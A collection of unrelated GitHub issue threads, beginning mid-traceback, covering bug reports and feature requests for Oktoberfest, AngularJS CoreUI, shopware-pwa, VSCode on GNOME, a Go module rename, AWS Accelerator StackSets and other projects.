File "/usr/local/lib/python3.8/site-packages/tables/vlarray.py", line 528, in append
self._append(nparr, nobjects)
File "tables/hdf5extension.pyx", line 2029, in tables.hdf5extension.VLArray._append
OverflowError: value too large to convert to int
2024-02-06 09:43:23,306 - ERROR - spectrum_io.file.hdf5::write_dataset value too large to convert to int
Traceback (most recent call last):
File "/usr/local/lib/python3.8/site-packages/spectrum_io/file/hdf5.py", line 123, in write_dataset
data.to_hdf(path, key=dataset_name, mode=mode, complib=compression)
File "/usr/local/lib/python3.8/site-packages/pandas/core/generic.py", line 2799, in to_hdf
pytables.to_hdf(
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 301, in to_hdf
f(store)
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 283, in
f = lambda store: store.put(
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 1123, in put
self._write_to_group(
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 1776, in _write_to_group
s.write(
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 3256, in write
self.write_array(f"block{i}_values", blk.values, items=blk_items)
File "/usr/local/lib/python3.8/site-packages/pandas/io/pytables.py", line 3100, in write_array
vlarr.append(value)
File "/usr/local/lib/python3.8/site-packages/tables/vlarray.py", line 528, in append
self._append(nparr, nobjects)
File "tables/hdf5extension.pyx", line 2029, in tables.hdf5extension.VLArray._append
OverflowError: value too large to convert to int
2024-02-06 09:43:23,899 - INFO - spectrum_io.file.hdf5::write_dataset Data appended to /data/scribe_analysis/nibrt/prosit_library/data/prosit_input_filtered.hdf5
2024-02-06 09:43:24,006 - INFO - spectrum_io.file.hdf5::write_dataset Data appended to /data/scribe_analysis/nibrt/prosit_library/data/prosit_input_filtered.hdf5
Writing library:   1%|          | 73/8047 03:18<6:02:05,  2.72s/it, missing=0, successful=73 colin@bioinfo-wstation-02:/mnt/HDD2/colin/ribosome_footprint_profiling$
Getting predictions:   1%|▏         | 103/8047 [03:17<4:13:41,  1.92s/it, failed=0, successful=103]
This error is not fatal and Oktoberfest has run to completion. I have run a similar spectral library generation and one thing I've noticed is a significant reduction in the file size of the spectral library.
My config file:
{
"type": "SpectralLibraryGeneration",
"tag": "",
"output": "/data/prosit_library",
"inputs": {
"library_input": "/data/proteome.fasta",
"library_input_type": "fasta"
},
"models": {
"intensity": "Prosit_2020_intensity_HCD",
"irt": "Prosit_2019_irt"
},
"spectralLibraryOptions": {
"fragmentation": "HCD",
"collisionEnergy": 29,
"precursorCharge": [2,3,4],
"minIntensity": 5e-4,
"batchsize": 10000,
"format": "msp"
},
"fastaDigestOptions": {
"digestion": "semi",
"missedCleavages": 2,
"minLength": 7,
"maxLength": 60,
"enzyme": "trypsin",
"specialAas": "KR",
"db": "target"
},
"prediction_server": "koina.proteomicsdb.org:443",
"numThreads": 30,
"ssl": true
}

Ubuntu 18.04
Docker

Any help appreciated,
Colin

Hi @colin986 ,
this seems to be related to having very large dataframes, like in this case, with >80 million entries and happens when Oktoberfest tries to save the digested and filtered peptides to disk.
This is purely designed to save time when rerunning the library generation, for example, in case some predictions failed and you want to append them to the existing library file in a second attempt without having to rerun everything.
In this case, with a presumably corrupt hdf file now,  if you see no failed batches, you are fine. In case some batches failed, let me know and I try to find a solution for you so that you don't need to rerun everything.
Concerning your second observation: I understand this in relation to runs you have done with a previous Oktoberfest version. Then, the reduction is primarily due to filtering out peaks with predicted normalized intensity < 1e-5, and rounding values to specific number of fraction digits depending on the type of value.
Just out of curiosity: Can you tell me how much disk space is saved for these large libraries and how long this is running now with version 0.6.0 in comparison to the previous Oktoberfest version?

Thanks @picciama
With previous versions library generation took over 2 days and the MSP file was approx 250GB. With 0.6.0 the time to generate decreases to about 8hrs. At the default intensity (5e-4) the file size reduces to 80GB and completes in 5hrs.
In terms of failed batches I haven't seen any since you updated Oktoberfest.

I have not been able to reproduce the int conversion problem in the new 0.7.0 version and will close this issue now that the release is going to be published. If the issue persists, please let me know and I reopen. In this case, I would like you to send me a link to the fasta and the full config file, so that I can try to reproduce it.
Please also check the newly added configuration features for spectral library generation


Is it possible to remove the hash #! from the URL? Attempted to use LocationProvider..

Hi!
I'm using the AngularJS CoreUI template, and trying to remove the (#!) from the url. Attempted to use:
$locationProvider.html5Mode(true);
within both the src/routes.js and src/demo/routes.js but it prevents the page from loading (says that the $locationProvider could not be injected):
Failed to instantiate module app due to:
TypeError: $locationProvider.html5Mode is not a function
Is this the right way to remove the hash? Am I missing something? I added the base tag to the index page, still didn't work.
Thanks!!

did you find anything?


[BUG] Can't override "components/views"

Describe the bug

Tried to override the "views/ProductView.vue" file but changes don't work. Other components overrides work like expected (CategoryView.vue doesn't work aswell).
I override the components with shopware-pwa override, the file is copied, thats all. When I ran shopware-pwa override  on other components the shopware-pwa cli output restarted the generation/building process even without restarting. When I change something in the copied component file (other than views components) the CLI prints "Updated components/{FileName}.vue" and does a really quick building process. The changes are working really well. When I change something in the views/ProductView.vue nothing is printed in the CLI and nothing changes. I removed the file and ran the shopware-pwa override command again but still the same behaviour.

Additional context

shopware-pwa-cli canary
Generated/initialized the project with the stable version.

Hey @d3ntastic !
Is it still an issue? Probably it's already resolved by #843 - please let me know if that's still a case


crashing on Ubuntu 20.10 with Gnome 3.38.1

VSCode Version: 1.50.1
OS Version: Ubuntu 20.10

Steps to Reproduce:

Open a file in vscode
Open a different file from a different location
Gnome UI restarts (like when you press ALT+F2 and r)

Does this issue occur when all extensions are disabled?: Yes (have no installed extensions)
If there is a need of any specific log, let me know how to log.

Can you confirm if the issue happens with latest insiders https://code.visualstudio.com/insiders ? If so, try to obtain the crash dumps following https://github.com/microsoft/vscode/wiki/Native-Crash-Issues#creating-and-symbolicating-local-crash-reports

believe the issue resides withing gnome or something
code is not crashing, but makes gnome reload for some reason
logs are kind of empty with only client_id file getting generated
file opens fine both in code and code-insiders but gnome just reloads

Can you try the following,

download https://www.electronjs.org/fiddle
clone https://gist.github.com/deepak1556/29c2babd2968ffd639a18e37a5d9ff04
Open fiddle and File > Open
Open a different file from a different location
Does it refresh the gnome shell ?

so what I did:
I opened fiddle app
loaded the cloned project with file > open = all good
ran the project and selected a folder with the open folder button = all good
tried to open another folder = all good
loaded another project with file > open in fiddle = all good
no crashed with any open file or folder dialog

hmm vscode doesn't do anything fancy with open dialogs, it uses the same electron api as fiddle does. What type vscode installation do you have , is it snap or deb ?

Can you also check if the issue repros with our exploration build

having the deb version but tried to use snap version also
same effect
also same effect with exploration build
what I tried:
set exploration build as default file editor
opened a txt file from one location
tried to open a xml file from a different location = gnome-shell restarts
what I noticed, it that it seems to happen when code is in minimized state
so opened one file, minimize to dock, seek next file to open and when try to open, gnome restarts

having the deb version but tried to use snap version also
same effect
also same effect with exploration build
what I tried:
set exploration build as default file editor
opened a txt file from one location
tried to open a xml file from a different location = gnome-shell restarts
what I noticed, it that it seems to happen when code is in minimized state
so opened one file, minimize to dock, seek next file to open and when try to open, gnome restarts

from https://github.com/microsoft/vscode/issues/109245
@bird-in-hat
can you confirm it happens on your end with minimized state and not when maximized !?

@deepak1556
have you managed to reproduce?

Nope I have not tried the https://github.com/microsoft/vscode/issues/109972#issuecomment-723116495 steps yet.

@gwolf2u  i did this:
sudo nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="loglevel=4 splash idle=nomwait processor.max_cstate=5"
sudo update-grub

Maybe add acpi=on
See Random reboots section:
https://wiki.gentoo.org/wiki/Ryzen#Troubleshooting

@gwolf2u i did this:
sudo nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="loglevel=4 splash idle=nomwait processor.max_cstate=5"
sudo update-grub

Maybe add acpi=on
See Random reboots section:
https://wiki.gentoo.org/wiki/Ryzen#Troubleshooting

Not using a zen (amd) cpu
Core i7 7700K
Grub has no arguments for boot (like to see boot text)
So guess this doesn't apply to me

any update on this matter?
issue persists

here is some more gnome-shell logging, maybe helps
really dependent on work with vscode and this ruins my experience
every time shell crashes, I see (not sure if actual issue, but seems more like it
gnome-shell: value "-inf" of type 'gfloat' is invalid or out of range for property 'height' of type 'gfloat'

I seem to be able to reproduce this only with vscode -- all other text editors are fine
again steps to reproduce is to minimize vscode with a opened file, and with vscode set as default text editor, open another one fron file manager
gnome-shell will refresh
full log below just in case
18:31:05 systemd: gnome-terminal-server.service: Succeeded.
18:30:56 gnome-shell: Can't update stage views actor ClutterClone is on because it needs an allocation.
18:30:56 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Logs'
18:30:56 gnome-shell: Wrong number of result metas returned by search provider org.gnome.seahorse.Application.desktop: expected 1 but got 0
18:30:56 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.seahorse.Application'
18:30:55 systemd: Started GNOME Terminal Server.
18:30:55 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Terminal'
18:30:55 systemd: Starting GNOME Terminal Server...
18:30:55 dbus-daemon: [session uid=1000 pid=1148] Activating via systemd: service name='org.gnome.Terminal' unit='gnome-terminal-server.service' requested by ':1.249' (uid=1000 pid=49605 comm="/usr/bin/gnome-shell ")
18:30:55 gnome-shell: value "-inf" of type 'gfloat' is invalid or out of range for property 'height' of type 'gfloat'
18:30:50 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:30:49 gnome-shell: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10).
18:30:49 gsd-media-keys: Failed to grab accelerator for keybinding settings:playback-repeat
18:30:49 gnome-shell: Error looking up permission: GDBus.Error:org.freedesktop.portal.Error.NotFound: No entry for geolocation
18:30:49 systemd: Started GNOME Shell on X11.
18:30:49 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Shell.Notifications'
18:30:49 gnome-shell: loading default theme (Adwaita)
18:30:48 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.freedesktop.portal.IBus'
18:30:48 gnome-shell: Will monitor session 1
18:30:48 gsd-media-keys: Failed to grab accelerators: GDBus.Error:org.freedesktop.DBus.Error.UnknownMethod: No such interface “org.gnome.Shell” on object at path /org/gnome/Shell
18:30:48 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:30:48 systemd: Starting GNOME Shell on X11...
18:30:48 gnome-shell: #1   7fffea7eb520 b   self-hosted:850 (2da5079bfa60 @ 454)
18:30:29 systemd: gnome-terminal-server.service: Succeeded.
18:30:20 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Logs'
18:30:19 gnome-shell: Wrong number of result metas returned by search provider org.gnome.seahorse.Application.desktop: expected 1 but got 0
18:30:19 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.seahorse.Application'
18:30:19 systemd: Started GNOME Terminal Server.
18:30:19 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Terminal'
18:30:19 gnome-shell: Can't update stage views actor ClutterText is on because it needs an allocation.
18:30:19 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Calculator.SearchProvider'
18:30:19 systemd: Starting GNOME Terminal Server...
18:30:19 dbus-daemon: [session uid=1000 pid=1148] Activating via systemd: service name='org.gnome.Terminal' unit='gnome-terminal-server.service' requested by ':1.212' (uid=1000 pid=46789 comm="/usr/bin/gnome-shell ")
18:30:01 cron: pam_unix(cron:session): session closed for user root
18:29:58 pkexec: gwolf2u: Executing command [USER=root] [TTY=unknown] [CWD=/home/gwolf2u] [COMMAND=/usr/libexec/gvfsd-admin --spawner :1.4 /org/gtk/gvfs/exec_spaw/5 --address unix:path=/run/user/1000/bus]
18:29:01 Xorg: (EE) event11 - G-SPY USB Gaming Mouse: client bug: event processing lagging behind by 13ms, your system is too slow
18:27:56 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Nautilus'
18:27:48 gnome-shell: value "-inf" of type 'gfloat' is invalid or out of range for property 'height' of type 'gfloat'
18:27:03 systemd: app-gnome-gnome\x2dcontrol\x2dcenter-46971.scope: Succeeded.
18:26:56 code: [main 2020-12-03T16:26:56.632Z] update#setState idle
18:26:46 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:26:46 gnome-shell: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10).
18:26:46 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:26:41 systemd: Started Application launched by gnome-shell.
18:26:39 Xorg: (EE) event11 - G-SPY USB Gaming Mouse: WARNING: log rate limit exceeded (5 msgs per 60s). Discarding future messages.
18:26:39 gnome-shell: Registering session with GDM
18:26:39 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:26:38 gnome-shell: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10).
18:26:38 gsd-media-keys: Failed to grab accelerator for keybinding settings:rfkill
18:26:38 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.freedesktop.FileManager1'
18:26:38 gnome-shell: Error looking up permission: GDBus.Error:org.freedesktop.portal.Error.NotFound: No entry for geolocation
18:26:38 systemd: Started GNOME Shell on X11.
18:26:38 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Shell.Notifications'
18:26:37 gnome-shell: loading default theme (Adwaita)
18:26:37 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.freedesktop.portal.IBus'
18:26:37 gnome-shell: Will monitor session 1
18:26:37 gsd-media-keys: Failed to grab accelerators: GDBus.Error:org.freedesktop.DBus.Error.UnknownMethod: No such interface “org.gnome.Shell” on object at path /org/gnome/Shell
18:26:37 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:26:37 systemd: Starting GNOME Shell on X11...
18:26:31 gnome-shell: #1   7ffe22b76110 b   self-hosted:850 (3ab9b55bfa60 @ 454)
18:26:29 code: (node:46681) Electron: Loading non-context-aware native module in renderer: '/usr/share/code/resources/app/node_modules.asar.unpacked/spdlog/build/Release/spdlog.node'. This is deprecated, see https://github.com/electron/electron/issues/18397.
18:26:28 Xorg: (EE) event11 - G-SPY USB Gaming Mouse: client bug: event processing lagging behind by 12ms, your system is too slow
18:26:27 code: (node:46583) Electron: Loading non-context-aware native module in renderer: '/usr/share/code/resources/app/node_modules.asar.unpacked/spdlog/build/Release/spdlog.node'. This is deprecated, see https://github.com/electron/electron/issues/18397.
18:26:26 bash: bash: no job control in this shell
18:26:26 gnome-shell: Can't update stage views actor ClutterClone is on because it needs an allocation.
18:26:26 code: [main 2020-12-03T16:26:26.550Z] update#setState idle
18:26:26 systemd: Started Application launched by gnome-shell.
18:26:25 gnome-shell: Wrong number of result metas returned by search provider org.gnome.seahorse.Application.desktop: expected 1 but got 0
18:26:25 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.seahorse.Application'
18:26:25 systemd: Started GNOME Terminal Server.
18:26:25 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Terminal'
18:26:25 gnome-shell: Can't update stage views actor ClutterText is on because it needs an allocation.
18:26:25 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Nautilus'
18:26:25 systemd: Starting GNOME Terminal Server...
18:26:25 dbus-daemon: [session uid=1000 pid=1148] Activating via systemd: service name='org.gnome.Terminal' unit='gnome-terminal-server.service' requested by ':1.167' (uid=1000 pid=44837 comm="/usr/bin/gnome-shell ")
18:26:24 gnome-shell: value "-inf" of type 'gfloat' is invalid or out of range for property 'height' of type 'gfloat'
18:26:23 Xorg: (EE) event11 - G-SPY USB Gaming Mouse: client bug: event processing lagging behind by 12ms, your system is too slow
18:26:20 gnome-shell: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10).
18:26:20 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:24:59 systemd: app-gnome-code-42942.scope: Succeeded.
18:24:52 code: [main 2020-12-03T16:24:52.553Z] update#setState idle
18:24:39 gnome-shell: Registering session with GDM
18:24:38 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:24:38 gnome-shell: Window manager warning: Overwriting existing binding of keysym 37 with keysym 37 (keycode 10).
18:24:38 gsd-media-keys: Failed to grab accelerator for keybinding settings:playback-random
18:24:37 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.freedesktop.FileManager1'
18:24:37 gnome-shell: Error looking up permission: GDBus.Error:org.freedesktop.portal.Error.NotFound: No entry for geolocation
18:24:37 systemd: Started GNOME Shell on X11.
18:24:37 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Shell.Notifications'
18:24:37 gnome-shell: loading default theme (Adwaita)
18:24:37 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.freedesktop.portal.IBus'
18:24:37 gnome-shell: Will monitor session 1
18:24:36 gsd-media-keys: Failed to grab accelerators: GDBus.Error:org.freedesktop.DBus.Error.UnknownMethod: No such interface “org.gnome.Shell” on object at path /org/gnome/Shell
18:24:36 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:24:36 systemd: Starting GNOME Shell on X11...
18:24:29 gnome-shell: #1   7ffc97b0c2f0 b   self-hosted:850 (3ad7c2fbfa60 @ 454)
18:24:28 systemd: tracker-store.service: Succeeded.
18:24:28 tracker-store: OK
18:24:25 code: (node:43114) Electron: Loading non-context-aware native module in renderer: '/usr/share/code/resources/app/node_modules.asar.unpacked/spdlog/build/Release/spdlog.node'. This is deprecated, see https://github.com/electron/electron/issues/18397.
18:24:22 bash: bash: no job control in this shell
18:24:22 code: [main 2020-12-03T16:24:22.479Z] update#setState idle
18:24:21 systemd: Started Application launched by gnome-shell.
18:24:21 gnome-shell: Wrong number of result metas returned by search provider org.gnome.seahorse.Application.desktop: expected 1 but got 0
18:24:21 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.seahorse.Application'
18:24:21 systemd: Started GNOME Terminal Server.
18:24:21 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Terminal'
18:24:21 systemd: Started GnuPG cryptographic agent and passphrase cache.
18:24:21 gnome-shell: Can't update stage views actor ClutterText is on because it needs an allocation.
18:24:21 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Nautilus'
18:24:21 gnome-shell: Can't update stage views actor ClutterActor is on because it needs an allocation.
18:24:21 gpg-agent: listening on: std=6 extra=4 browser=3 ssh=5
18:24:21 gnome-shell: Can't update stage views actor StIcon is on because it needs an allocation.
18:24:21 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Calculator.SearchProvider'
18:24:21 gnome-shell: Can't update stage views actor StBoxLayout is on because it needs an allocation.
18:24:21 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Characters.BackgroundService'
18:24:21 systemd: Starting GNOME Terminal Server...
18:24:21 dbus-daemon: [session uid=1000 pid=1148] Activating via systemd: service name='org.gnome.Terminal' unit='gnome-terminal-server.service' requested by ':1.116' (uid=1000 pid=1418 comm="/usr/bin/gnome-shell ")
18:24:20 gnome-shell: value "-inf" of type 'gfloat' is invalid or out of range for property 'height' of type 'gfloat'
18:24:07 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.ChromeGnomeShell'
18:24:06 systemd: Started Application launched by gnome-shell.
18:24:02 sudo: pam_unix(sudo:session): session closed for user root
18:24:01 systemd: tracker-extract.service: Succeeded.
18:23:46 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.freedesktop.Tracker1.Miner.Extract'
18:23:46 tracker-extract: Setting priority nice level to 19
18:23:46 systemd: Starting Tracker metadata extractor...
18:23:46 dbus-daemon: [session uid=1000 pid=1148] Activating via systemd: service name='org.freedesktop.Tracker1.Miner.Extract' unit='tracker-extract.service' requested by ':1.2' (uid=1000 pid=1136 comm="/usr/libexec/tracker-miner-fs ")
18:23:45 systemd: Started Tracker metadata database store and lookup manager.
18:23:45 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.freedesktop.Tracker1'
18:23:45 systemd: Starting Tracker metadata database store and lookup manager...
18:23:45 dbus-daemon: [session uid=1000 pid=1148] Activating via systemd: service name='org.freedesktop.Tracker1' unit='tracker-store.service' requested by ':1.2' (uid=1000 pid=1136 comm="/usr/libexec/tracker-miner-fs ")
18:23:28 systemd: app-gnome-firefox-22589.scope: Succeeded.
18:23:28 firefox: ###!!! [Parent][RunMessage] Error: Channel closing: too late to send/recv, messages will be lost
18:23:27 gnome-shell: Some code accessed the property 'discreteGpuAvailable' on the module 'appDisplay'. That property was defined with 'let' or 'const' inside the module. This was previously supported, but is not correct according to the ES6 standard. Any symbols to be exported from a module must be defined with 'var'. The property access will work as previously for the time being, but please fix your code anyway.
18:23:25 sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
18:23:05 systemd: app-gnome-org.gnome.Terminal-38545.scope: Succeeded.
18:23:05 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Terminal'
18:23:04 systemd: Starting GNOME Terminal Server...
18:23:04 dbus-daemon: [session uid=1000 pid=1148] Activating via systemd: service name='org.gnome.Terminal' unit='gnome-terminal-server.service' requested by ':1.134' (uid=1000 pid=38547 comm="/usr/bin/gnome-terminal.real --window ")
18:23:04 systemd: Started Application launched by gnome-shell.
18:17:01 cron: pam_unix(cron:session): session closed for user root
18:16:12 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:13:04 pkexec: gwolf2u: Executing command [USER=root] [TTY=unknown] [CWD=/home/gwolf2u] [COMMAND=/usr/lib/update-notifier/package-system-locked]
18:11:45 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:03:01 dbus-daemon: [session uid=1000 pid=1148] Activated service 'org.freedesktop.FileManager1' failed: Process org.freedesktop.FileManager1 exited with status 1
18:03:01 nautilus: Failed to register: Unable to acquire bus name 'org.gnome.Nautilus'
18:03:01 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Nautilus'
18:03:00 gnome-shell: Registering session with GDM
18:03:00 gsd-media-keys: Failed to grab accelerator for keybinding settings:playback-repeat
18:03:00 gnome-shell: Error looking up permission: GDBus.Error:org.freedesktop.portal.Error.NotFound: No entry for geolocation
18:03:00 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.gnome.Shell.Notifications'
18:03:00 gnome-shell: loading default theme (Adwaita)
18:02:59 ibus-daemon: current session already has an ibus-daemon.
18:02:59 gnome-shell: Will monitor session 1
18:02:59 gsd-media-keys: Failed to grab accelerators: GDBus.Error:org.freedesktop.DBus.Error.UnknownMethod: No such interface “org.gnome.Shell” on object at path /org/gnome/Shell
18:02:59 Xorg: (--) modeset(0): HDMI max TMDS frequency 225000KHz
18:02:59 gnome-shell: JS ERROR: TypeError: actor.get_meta_window() is null
_destroyWindowDone@resource:///org/gnome/shell/ui/windowManager.js:1616:32
onStopped@resource:///org/gnome/shell/ui/windowManager.js:1586:39
_makeEaseCallback/<@resource:///org/gnome/shell/ui/environment.js:82:22
_easeActor/<@resource:///org/gnome/shell/ui/environment.js:165:64
_initializeUI/<@resource:///org/gnome/shell/ui/main.js:251:16

18:02:52 unzip:  extracting<EMAIL_ADDRESS>18:02:50 dbus-daemon: [session uid=1000 pid=1148] Successfully activated service 'org.freedesktop.FileManager1'

@deepak1556
any progress?
also happens on new system with complete new hardware and clean install of Ubuntu 20.10

I have not been successful in recreating this issue so far. Can you give our latest exploration build another try. I don't have much clue about how to debug this further, since the crash is not happening in vscode application.

I have not been successful in recreating this issue so far. Can you give our latest exploration build another try. I don't have much clue about how to debug this further, since the crash is not happening in vscode application.

same happens on test build
try to have window maximized, minimize to dock, open new file
if you minimize from not maximized state (windowed) it will work

Issue fixed by Ubuntu Team (well not yet but is in progress)
https://bugs.launchpad.net/ubuntu/+source/gnome-shell/+bug/1897765


[BUG] Add router-link to go to guest networks from physical network

Add a button to view guest networks from a physical network's guest network traffic type

View network from physical network detail view works


jexcel.destroy shouldn't set jexcel to null

when destroying a jexcel element it shouldn't set the global jexcel to null as you won't be able to create a new jexcel element.

jexcel.destroy = function(element, destroyEventHandlers) {
}
false in the second argument keep the global element and you can reuse.


Transaction Ordering Vuln

Add an example like this: https://github.com/ConsenSys/smart-contract-best-practices#transaction-ordering-dependence

I think this is now addressed by race_condition

What are you looking for?

@salkuyateh93 the test specifies
"Add an example like this: https://github.com/ConsenSys/smart-contract-best-practices#transaction-ordering-dependence"
And there is no example under the link

@dguido should this issue have funding for a Gitcoin bounty or should I cancel this bounty? Thanks! 👍

Whoops, I think cancel it.

Sure bet, cancelling it :)


Rename package to github.com/go-survey/survey/v2 in go.mod

An example that showcases the bug.
Executing go get -u github.com/go-survey/survey/v2
What did you expect to see?
No error
What did you see instead?
go: downloading github.com/go-survey/survey/v2 v2.3.6
go<EMAIL_ADDRESS>parsing go.mod:
        module declares its path as: github.com/AlecAivazis/survey/v2
                but was required as: github.com/go-survey/survey/v2

The GitHub repository has been renamed, but not the package name in go.mod:
https://github.com/go-survey/survey/blob/93657ef69381dd1ffc7a4a9cfe5a2aefff4ca4ad/go.mod#L1

I opened a PR that should fix this.


[FEATURE] Explore replacing the single StackSet and removing dependence on CloudFormationStackSetExecutionRole

Required Basic Info

Accelerator Version:  v1.2.4

Describe the solution you'd like

I'd like to remove the use of StackSets completely (only used for role deployment today)

SS add complexity and have region restrictions

I'd like to ensure none of the Accelerator codebase leverages the AWSCloudFormationStackSetExecutionRole role

this will allow simplifying the SCP's, and ease CT support

I'd like customers to be able to define their own uniquely named Org account trust role

customer don't necessarily want to use the default named role also CT uses a different role name

TASKS

ensure ASEA codebase does not use AWSCloudFormationStackSetExecutionRole for anything except deploying the stackset
customers can already define account org-trust role in global-options organization-admin-role
instead of using stacksets to deploy accel role into sub-accounts, directly assume the defined role in the sub-account and create the required PBMMAccel-PipelineRole role using CDK/SDK
Can this task be merged with another existing phase/step, or must we keep a distinct step?

The root account deploys "cfn-execution-role-master.template.json" which has “CloudFormationStackSetExecutionRole” hardcoded.  This needs to be dynamically updated to use the role provided by the customer in "organization-admin-role" in the config file.

The root account deploys "cfn-execution-role-master.template.json" which has “CloudFormationStackSetExecutionRole” hardcoded.  This needs to be dynamically updated to use the role provided by the customer in "organization-admin-role" in the config file.

Require a minor tweak:

if a customer does not follow directions, upgrades and runs the SM - it will leave the stackset in a cumbersome state to cleanup
on SM execution, check for the existence of PBMMAccel-PipelineRole STACKSET in the root AWS account, if it exists, immediately fail the state machine with the error: "This upgrade requires the manual removal of the PBMMAccel-PipelineRole Stackset from this account - see upgrade instructions."

Require a minor tweak:

if a customer does not follow directions, upgrades and runs the SM - it will leave the stackset in a cumbersome state to cleanup
on SM execution, check for the existence of PBMMAccel-PipelineRole STACKSET in the root AWS account, if it exists, immediately fail the state machine with the error: "This upgrade requires the manual removal of the PBMMAccel-PipelineRole Stackset from this account - see upgrade instructions."

Second issue with this one:

Go to orgs, create account, drop in OU (Test), SM fails at: Install Execution Roles Map for the new account
you can look in my environment 13
the step returned:   "verify": { "status": "FAILURE"  }
reviewing the Lambda log - no errors - "verify": {"status": "IN_PROGRESS", "statusReason": ""  }
Initial thought - we are not looping/waiting for the stack deployment to finish
Log group:- (CloudWatch\CloudWatch Logs\Log groups"/aws/lambda/PBMMAccel-InitialSetup-PipelineVerifyExecutionRole-1G35MQQUKHBQC""2021/01/28/[3]293931aa93524551a556007e8056f763")
BUT looking in the account shows at the RolledBack CFN shows: "API: iam:GetRole User: arn:aws:sts::123456789012:assumed-role/AWSCloudFormationStackSetExecutionRole/temporary is not authorized to perform: iam:GetRole on resource: role PBMMAccel-PipelineRole with an explicit deny"

ASK: Can we get 'the' error message returned to the CWL? (I have hopefully fixed the SCP)

Second issue with this one:

Go to orgs, create account, drop in OU (Test), SM fails at: Install Execution Roles Map for the new account
you can look in my environment 13
the step returned:   "verify": { "status": "FAILURE"  }
reviewing the Lambda log - no errors - "verify": {"status": "IN_PROGRESS", "statusReason": ""  }
Initial thought - we are not looping/waiting for the stack deployment to finish
Log group:- (CloudWatch\CloudWatch Logs\Log groups"/aws/lambda/PBMMAccel-InitialSetup-PipelineVerifyExecutionRole-1G35MQQUKHBQC""2021/01/28/[3]293931aa93524551a556007e8056f763")
BUT looking in the account shows at the RolledBack CFN shows: "API: iam:GetRole User: arn:aws:sts::123456789012:assumed-role/AWSCloudFormationStackSetExecutionRole/temporary is not authorized to perform: iam:GetRole on resource: role PBMMAccel-PipelineRole with an explicit deny"

ASK: Can we get 'the' error message returned to the CWL? (I have hopefully fixed the SCP)

Shipping in v1.2.5

Shipping in v1.2.5


new blog post about booster notifications

@HannaHei
There are some typos in this PR. Please let me know if you want an issue / PR raised to describe them.


Update GH samples to JCSMP 10.13.1 tarball

This PR re-syncs the samples that were distributed in the 10.13.1 tarball available for download on the solace.com website.  Two most notable changes were to Replay and TopicToQueue samples.
Additionally, all compile warnings due to use of deprecated non-correlating publisher callback have been fixed, and correlationKeys have been added to all persistent samples.
Copyright dates in boilerplate headers were updated to 2022.

Requested changes implemented
Tested building with JDK 8 and 17
Spot-checked a selection of samples, all verified running


Feature request: Print backtrace in trace output

Issue description
The builtins.trace function is quite handy for probing state buried deep within a derivation. However, while trying to understand a cross-compiling bug I've seen my trace output printed multiple times. Without a stack backtrace (e.g. what throw would produce with --show-trace) this is quite difficult to interpret.

This feature must be implemented in https://github.com/NixOS/nix itself, we cannot fix it from nixpkgs. Please open an issue there.

Yes, I suppose that makes sense. Thanks!

Continued at https://github.com/NixOS/nix/issues/1610.


Elm 0.19

Any plans to upgrade for elm 0.19?

I'll try to find time to upgrade it to 0.19. If you're willing to help any PR is welcome 🙂

I've created a PR for that: #7 :)

